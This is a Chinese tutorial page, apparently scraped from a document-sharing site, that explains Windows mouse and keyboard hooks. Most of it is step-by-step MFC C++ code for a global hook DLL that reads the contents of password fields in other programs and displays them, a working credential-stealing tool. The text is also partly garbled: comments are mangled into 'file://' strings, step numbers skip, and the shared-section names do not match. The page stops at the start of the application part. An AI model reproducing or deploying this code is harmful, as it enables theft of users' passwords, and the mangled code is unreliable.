当前位置:文档之家› 鼠标键盘钩子截获密码

鼠标键盘钩子截获密码

利用鼠标键盘钩子截获密码。

源码示例:/soft/GetPass_Src.rar钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。

掌握钩子的编程方法是很有必要的钩子分类:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息3、WH_DEBUG 调试钩子4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL5、WH_JOURNALRECORD 监视和记录输入事件6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件7、WH_KEYBOARD 键盘钩子9、WH_KEYBOARD_LL 低层键盘钩子10、WH_MOUSE 鼠标钩子11、WH_MOUSE_LL 底层鼠标钩子12、WH_SHELL 外壳钩子13、WH_MSGFILTER 和WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetWindowsHookEx安装钩子。

其函数原型为:HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )idHook表示钩子类型,它是和钩子函数类型一一对应的。

如,WH_KEYBOARD,WH_MOUSE。

Lpfn是钩子函数的地址。

HMod是钩子函数所在的实例的句柄。

对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。

(系统钩子必须在DLL中)dwThreadId 指定钩子所监视的线程的线程号。

对于全局钩子,该参数为NULL。

SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子调用函数BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子定义钩子函数钩子函数是一种特殊的回调函数。

钩子监视的特定事件发生后,系统会调用钩子函数进行处理。

一般为下:LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。

nCode 包含有关消息本身的信,比如是否从消息队列中移出。

实例:下面我们通过安装鼠标钩子。

和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。

2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:class AFX_EXT_CLASS CGetPassHook : public CObject{public:BOOL StopHook();BOOL StartHook(HWND hwnd);CGetPassHook();virtual ~CGetPassHook();};3:加入全局共享数据,如下:#pragma data_seg("ShareData")HHOOK hKeyBoardHook=NULL; file://keyboar hookHHOOK hMouseHook=NULL; file://mouse hookHINSTANCE glhInstance=NULL; file://globle instanceHWND hOutPutWnd=NULL; file://Display Pass Wnd#pragma data_seg()4:加入鼠标,键盘钩子处理函数,如下:LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) { file://鼠标钩子得理函数LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;if(nCode>=0){HWND hTargetHwnd=lpMouse->hwnd; file://得到鼠标所在窗口句柄if(hTargetHwnd){LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式if(style&ES_PASSWORD) file://如果是密码框{char szPass[255];::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);file://得到密码::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file://显示密码}}}return CallNextHookEx(hMouseHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。

}LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) { file://keyboard hook procif(nCode>=0){HWND hTargetHwnd=GetActiveWindow(); file://get active windowif(hTargetHwnd)EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口}return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。

}这里要介绍下EnumChildWindows函数,原形如下:BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROClpEnumFunc,LPARAM lParam);hWndParent:为枚举窗口的句柄lpEnumFunc:枚举函数的地址,lParam:这里为05:加入枚举窗口的函数。

如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam){ file://enum the child window,find passeditif(hwnd){LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLEif(style&ES_PASSWORD) file://是密码框{char szPass[255];::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示return TRUE;}}return TRUE;}6:在DEF文件中定义段属性:(这步很重要)SECTIONSmydata READ WRITE SHARED7:完成StartHook,StopHook函数,启动/关闭钩子,如下:BOOL CGetPassHook::StartHook(HWND hwnd){ file://install hoookhMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);file://mouse hookhKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); file://keyboard hookif(hMouseHook&&hKeyBoardHook){hOutPutWnd=hwnd; file://显示密码的句柄return TRUE;}return FALSE;}BOOL CGetPassHook::StopHook(){ file://unstall hookBOOL mHook=UnhookWindowsHookEx(hMouseHook);BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);if(mHook&&kHook)return TRUE;return FALSE;}8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:extern HINSTANCE glhInstance; file://记得这里extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){UNREFERENCED_PARAMETER(lpReserved);if (dwReason == DLL_PROCESS_ATTACH){TRACE0("GETPASS.DLL Initializing!\n");if (!AfxInitExtensionModule(GetPassDLL, hInstance))return 0;new CDynLinkLibrary(GetPassDLL);glhInstance=hInstance; file://得到句柄}else if (dwReason == DLL_PROCESS_DETACH){TRACE0("GETPASS.DLL Terminating!\n");AfxTermExtensionModule(GetPassDLL);}return 1; // ok}9:编译,完成DLL部分,下面建立APP部分。

如下:1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

相关主题